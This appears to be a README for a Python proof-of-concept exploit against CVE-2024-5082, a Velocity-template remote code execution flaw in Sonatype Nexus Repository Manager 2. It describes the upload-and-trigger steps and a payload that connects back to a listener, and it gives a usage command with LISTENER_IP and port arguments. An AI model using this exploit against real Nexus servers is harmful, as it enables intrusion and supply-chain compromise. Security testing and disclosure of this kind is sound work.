CVE-2024-5082

Overview

This repository contains a Python proof of concept for CVE-2024-5082, a remote code execution vulnerability in Sonatype Nexus Repository Manager 2.

The vulnerability allows a user with sufficient permission to publish a specially crafted Maven artifact and mark it for processing by the Velocity content generator. When the artifact is retrieved, the embedded Velocity template is evaluated by Nexus and may execute a command in the security context of the Nexus JVM.

According to Sonatype:

• affected versions include Nexus Repository Manager 2.x up to and including 2.15.1;
• the issue was fixed in 2.15.2;
• Nexus Repository 2 reached end of life on June 30, 2025 and should be migrated to Nexus Repository 3.

Important scope clarification

The command is executed on the Nexus Repository host.

Downloading the affected artifact from a build server, application server, or developer workstation does not by itself execute the embedded command on that consuming system. However, compromise of a repository manager may create broader supply-chain risk if an attacker later modifies trusted artifacts, build inputs, credentials, or repository configuration.

How the PoC works

The script:

1. Generates a unique marker path under a Maven-style namespace.
2. Uploads a crafted maven-metadata.xml file to a selected hosted repository.
3. Updates the corresponding Nexus attributes so that the content generator is set to velocity.
4. Retrieves the uploaded artifact, causing Nexus to process the template.
5. Attempts to remove the uploaded marker artifact during cleanup.

The supplied payload creates an outbound TCP connection from the Nexus host to the configured listener address.

Authentication and permissions

The current script uses HTTP Basic Authentication and requires:

• a valid Nexus username and password;
• permission to create or update content in the selected repository;
• permission for the attribute update used by the PoC.

Usage

python3 cve_2024_5082.py \\
  --base-url https://nexus.example.test/nexus \\
  --repository security-test-snapshots \\
  --username test-user \\
  --password 'REDACTED' \\
  --lhost LISTENER_IP \\
  --lport 8000